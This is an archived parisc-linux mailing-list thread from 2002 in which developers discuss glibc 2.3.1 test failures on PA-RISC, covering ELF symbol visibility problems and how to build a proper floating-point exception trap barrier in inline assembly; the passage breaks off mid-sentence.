X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16728

On Mon, Nov 11, 2002 at 03:57:37PM -0500, John David Anglin wrote:
> > make[2]: *** [/elf/vismain.out] Error 1
> > make[2]: *** [/elf/neededtest.out] Error 14
> > make[2]: *** [/elf/neededtest2.out] Error 14
> > make[2]: *** [/elf/neededtest3.out] Error 17
> > make[2]: *** [/elf/neededtest4.out] Error 2
> > make[2]: *** [/elf/circleload1.out] Error 9
> > make[1]: *** [elf/tests] Error 2
> > make: *** [check] Error 2
> 
> I am not surprised about these.  There definitely problems with
> the visibility of symbols based on the binutils testsuite.  These
> didn't show up before because the visibility tests didn't run
> on the pa.
> 

The fix is non-obvious to me. I have no idea where to begin here.
Any hints? :)

c.



From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 16:33:41 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200211112133.gABLXg3j003013@hiauly1.hia.nrc.ca>
References: <20021111211713.GD9704@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621905 16722 80.91.229.3 (22 Nov 2014 02:05:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 14:33:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 035594829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 14:33:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gABLXgot003014;
	Mon, 11 Nov 2002 16:33:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gABLXg3j003013;
	Mon, 11 Nov 2002 16:33:42 -0500 (EST)
In-Reply-To: <20021111211713.GD9704@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 04:17:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16729

> > I am not surprised about these.  There definitely problems with
> > the visibility of symbols based on the binutils testsuite.  These
> > didn't show up before because the visibility tests didn't run
> > on the pa.
> > 
> 
> The fix is non-obvious to me. I have no idea where to begin here.
> Any hints? :)

It isn't obvious to me either other than the problem is probably in
elf32-hppa.c.  I would look at the testsuite results for ld, pick
a simple test that fails and try to figure out what is going wrong.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 17:36:50 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200211112236.gABMaoBX003275@hiauly1.hia.nrc.ca>
References: <20021111211624.GC9704@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621906 16724 80.91.229.3 (22 Nov 2014 02:05:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 15:37:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51CC24829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 15:37:00 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gABMapot003276;
	Mon, 11 Nov 2002 17:36:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gABMaoBX003275;
	Mon, 11 Nov 2002 17:36:50 -0500 (EST)
In-Reply-To: <20021111211624.GC9704@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 04:16:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16730

> Failure: Real part of: csinh (-inf + NaN i) == inf + NaN i plus sign of zero/inf not specified: Exception "Invalid operation" set
> 
> Test suite completed:
>   2518 test cases plus 2306 tests for exception flags executed.
>   14 errors occurred.
> 
> 
> They look to be exception related?

I doubt this is a gcc problem but it might be.  Certain floating-point
compare instructions can generate invalid operation exceptions.  It's
been awhile but I don't think we use these (see page 8-16 of PA 2.0
arch).  An invalid operation exception will always occur with
signaling nans.

You need to try to identify the insn that is causing the exception.
This can be difficult in some cases because the exceptions are
inexact.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 17:44:58 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20021111224458.GC11690@systemhalted>
References: <20021111211624.GC9704@systemhalted> <200211112236.gABMaoBX003275@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621906 16725 80.91.229.3 (22 Nov 2014 02:05:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 15:44:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D0144829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 15:44:49 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BNIg-0003Di-00; Mon, 11 Nov 2002 17:44:58 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <200211112236.gABMaoBX003275@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (73% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16731

> > 
> > Test suite completed:
> >   2518 test cases plus 2306 tests for exception flags executed.
> >   14 errors occurred.
> > 
> > They look to be exception related?
> 
> I doubt this is a gcc problem but it might be.  Certain floating-point
> compare instructions can generate invalid operation exceptions.  It's
> been awhile but I don't think we use these (see page 8-16 of PA 2.0
> arch).  An invalid operation exception will always occur with
> signaling nans.
> 
> You need to try to identify the insn that is causing the exception.
> This can be difficult in some cases because the exceptions are
> inexact.
> 

Again, delayed traps can be "Invalid Operation" exceptions within these
floating point tests. We may be seeing some of those issues. I really
need to find a way to properly flush delayed exceptions.

c.


From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 17:53:00 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200211112253.gABMr09l003349@hiauly1.hia.nrc.ca>
References: <20021111224458.GC11690@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621906 16727 80.91.229.3 (22 Nov 2014 02:05:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 15:53:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EBA894829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 15:53:05 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gABMr0ot003350;
	Mon, 11 Nov 2002 17:53:01 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gABMr09l003349;
	Mon, 11 Nov 2002 17:53:00 -0500 (EST)
In-Reply-To: <20021111224458.GC11690@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 05:44:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16732

> Again, delayed traps can be "Invalid Operation" exceptions within these
> floating point tests. We may be seeing some of those issues. I really
> need to find a way to properly flush delayed exceptions.

Look at fldw,fstw.  Specifying register 0L forces the coprocessor
to complete all previous floating-point insns.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 18:27:11 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20021111232711.GB12433@systemhalted>
References: <20021111224458.GC11690@systemhalted> <200211112253.gABMr09l003349@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621907 16730 80.91.229.3 (22 Nov 2014 02:05:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 16:27:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A2954829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 16:27:01 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BNxX-0003NI-00; Mon, 11 Nov 2002 18:27:11 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <200211112253.gABMr09l003349@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16733

> > Again, delayed traps can be "Invalid Operation" exceptions within these
> > floating point tests. We may be seeing some of those issues. I really
> > need to find a way to properly flush delayed exceptions.
> 
> Look at fldw,fstw.  Specifying register 0L forces the coprocessor
> to complete all previous floating-point insns.
> 

We currently use the following as a delayed exception trap barrier:

libc/glibc-2.3.1/sysdeps/hppa/fpu/fraiseexcpt.c

...
__asm__ __volatile__ ("fmpy,dbl %1,%%fr0,%0\n\t"
			/* FIXME: is this a proper trap barrier? */
			"fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0"(d));
...

And from the comment it seems that DHD wasn't sure either :)
I don't quite understand what is meant by specifying register 0L?

c.


From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 19:22:13 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200211120022.gAC0MDQs003494@hiauly1.hia.nrc.ca>
References: <20021111232711.GB12433@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621907 16732 80.91.229.3 (22 Nov 2014 02:05:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 17:22:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3445A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 17:22:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAC0MDot003496;
	Mon, 11 Nov 2002 19:22:14 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAC0MDQs003494;
	Mon, 11 Nov 2002 19:22:13 -0500 (EST)
In-Reply-To: <20021111232711.GB12433@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 06:27:11 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16734

> And from the comment it seems that DHD wasn't sure either :)
> I don't quite understand what is meant by specifying register 0L?

You just have to do a floating-point load/store to/from register
0/0L using a doubleword/word instruction.  See the arch manual and
the comments about specify register 0 near the bottom of each
instruction description.  0L is the left part of floating 
register 0.  Doing this as a volatile asm should force completion
of all previous floating-point instructions.

A store from register 0 (the floating point status register) is a
safe barrier but you need to provide a location to store to.

I don't believe "fcpy,dbl %%fr0,%%fr0" provides the barrier
that you want.  The floating-point coprocessor is not required to
execute instructions sequentially although they must appear
sequential to software.  The above insn is a nop and the coprocessor
could throw it away early in the pipeline.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 20:23:38 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20021112012338.GA14199@systemhalted>
References: <20021111232711.GB12433@systemhalted> <200211120022.gAC0MDQs003494@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621907 16733 80.91.229.3 (22 Nov 2014 02:05:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 18:23:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id C639F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 18:23:29 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BPmE-0003hj-00; Mon, 11 Nov 2002 20:23:38 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <200211120022.gAC0MDQs003494@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16735

 
 
> I don't believe "fcpy,dbl %%fr0,%%fr0" provides the barrier
> that you want.  The floating-point coprocessor is not required to
> execute instructions sequentially although they must appear
> sequential to software.  The above insn is a nop and the coprocessor
> could throw it away early in the pipeline.

That's what I was beggining to think.
I'll spill it onto the stack as Lamont suggested some time ago.

c.



From - Thu Nov 08 21:25:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 23:13:11 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200211120413.gAC4DBBB003677@hiauly1.hia.nrc.ca>
References: <20021111232711.GB12433@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621908 16737 80.91.229.3 (22 Nov 2014 02:05:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 21:13:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2266D4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 21:13:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAC4DBot003678;
	Mon, 11 Nov 2002 23:13:12 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAC4DBBB003677;
	Mon, 11 Nov 2002 23:13:11 -0500 (EST)
In-Reply-To: <20021111232711.GB12433@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 06:27:11 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16736

> __asm__ __volatile__ ("fmpy,dbl %1,%%fr0,%0\n\t"
> 			/* FIXME: is this a proper trap barrier? */
> 			"fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0"(d));

Looking at feraiseexcept, I see that you only want to raise one
exception at a time out of a specified set.  Reading the status register
will raise all outstanding exceptions.  I think what needs to be
done is something like the following:

__asm__ __volatile__ ("fmpy,dbl %1,%%fr0,%0\n\t"
 		      "fcmp,dbl,!= %%fr0,%0\n\t"
 		      "ftest\n\t"
 		      "nop" : "=f" (d) : "0"(d));

Doing a compare and test of the result of the fmpy insn will ensure
that any exceptions related to that operation are raised prior to
